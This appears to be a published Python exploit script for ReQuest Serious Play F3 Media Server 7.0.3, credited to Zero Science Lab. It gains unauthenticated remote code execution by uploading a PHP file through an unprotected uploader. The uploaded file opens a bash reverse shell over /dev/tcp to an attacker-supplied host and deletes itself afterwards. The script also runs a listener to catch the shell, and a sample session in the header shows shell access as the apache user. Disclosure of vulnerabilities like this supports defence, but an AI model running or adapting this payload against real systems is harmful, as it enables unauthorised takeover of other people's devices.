1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 |
# Exploit Title: ReQuest Serious Play F3 Media Server 7.0.3 - Remote Code Execution (Unauthenticated) # Exploit Author: LiquidWorm # Software Link: http://request.com/ # Version: 3.0.0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution # # # Vendor: ReQuest Serious Play LLC # Product web page: http://www.request.com # Affected version: 7.0.3.4968 (Pro) # 7.0.2.4954 # 6.5.2.4954 # 6.4.2.4681 # 6.3.2.4203 # 2.0.1.823 # # Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers # into a compact powerhouse. With the ability to add unlimited NAS devices, the # F3 can handle your entire family's media collection with ease. # # Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote # code execution vulnerability. Abusing the hidden ReQuest Internal Utilities # page (/tools) from the services provided, an attacker can exploit the Quick # File Uploader (/tools/upload.html) page and upload PHP executable files that # results in remote code execution as the web server user. # # ============================================================================= # lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161 # Let's see waddup... # Good to go. # Starting handler on port 6161. # Writing callback file... # We got the dir: /75302IV29ZS1 # Checking write status... # All is well John Spartan. Calling your listener... # Connection from 192.168.0.17:42057 # You got shell. # id;uname -ro # uid=81(apache) gid=81(apache) groups=81(apache),666(arq) # 3.2.0-4-686-pae GNU/Linux # exit # *** Connection closed by remote host *** # lqwrm@metalgear:~/prive$ # ============================================================================= # # Tested on: ReQuest Serious Play® OS v7.0.1 #ReQuest Serious Play® OS v6.0.0 #Debian GNU/Linux 5.0 #Linux 3.2.0-4-686-pae #Linux 2.6.36-request+lenny.5 #Apache/2.2.22 #Apache/2.2.9 #PHP/5.4.45 #PHP/5.2.6-1 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5602 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php # # # 01.08.2020 # from time import sleep import threading###### import telnetlib###### import requests####### import socket######### import sys############ import re############# class Manhattan: def __init__(self): self.secretagent = "Mushu" self.payload = None self.deploy = None self.rhost = None self.lhost = None self.lport = None def the_args(self): if len(sys.argv) != 4: self.the_usage() else: self.rhost = sys.argv[1] self.lhost = sys.argv[2] self.lport = int(sys.argv[3]) if not "http" in self.rhost: self.rhost = "http://{}".format(self.rhost) def the_usage(self): self.the_wha() print("Usage: python3 {} [targetIP:targetPORT] [localIP] [localPORT]".format(sys.argv[0])) print("Example: python3 {} 192.168.0.91:3664 192.168.0.22 6161\n".format(sys.argv[0])) exit(0) def the_wha(self): titl = "ReQuest Serious Play F3 Media Server RCE" print(titl) def the_check(self): print("Let's see waddup...") try: r = requests.get(self.rhost + "/MP3/") if "000000000000" in r.text: print("Good to go.") else: print("Something's fishy.") exit(-16) except Exception as e: print("Hmmm {msg}".format(msg=e)) exit(-1) def the_upload(self): print("Writing callback file...") self.headers = {"Cache-Control" : "max-age=0", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP", "User-Agent": self.secretagent, "Accept" : "*/*", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + "<&1;rm bd0.php'\");" self.deploy= "------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"######## self.deploy += "Content-Disposition: form-data; name=\"uploa" # self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T" # self.deploy += "ype: application/octet-stream\r\n\r\n" + self.payload self.deploy += "\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte" self.deploy += "nt-Disposition: form-data; name=\"location\"\r\n\r\nm" self.deploy += "p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n" requests.post(self.rhost+"/shared/upload.php", headers=self.headers, data=self.deploy) sleep(1) r = requests.get(self.rhost + "/MP3/") regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2] print("We got the dir: /" + regex) print("Checking write status...") r = requests.get(self.rhost + "/MP3/" + regex) if "bd0" in r.text: print("All is well John Spartan. Calling your listener...") else: print("Something...isn't right.") exit(-16) requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php") def the_subp(self): konac = threading.Thread(name="ZSL", target=self.the_ear) konac.start() sleep(1) self.the_upload() def the_ear(self): telnetus = telnetlib.Telnet() print("Starting handler on port {}.".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(7) s.listen(1) conn, addr = s.accept() print("Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("Hmmm ({msg})".format(msg=p)) s.close() exit(0) break print("You got shell.") telnetus.interact() conn.close() def main(self): self.the_args() self.the_check() self.the_subp() if __name__ == '__main__': Manhattan().main() |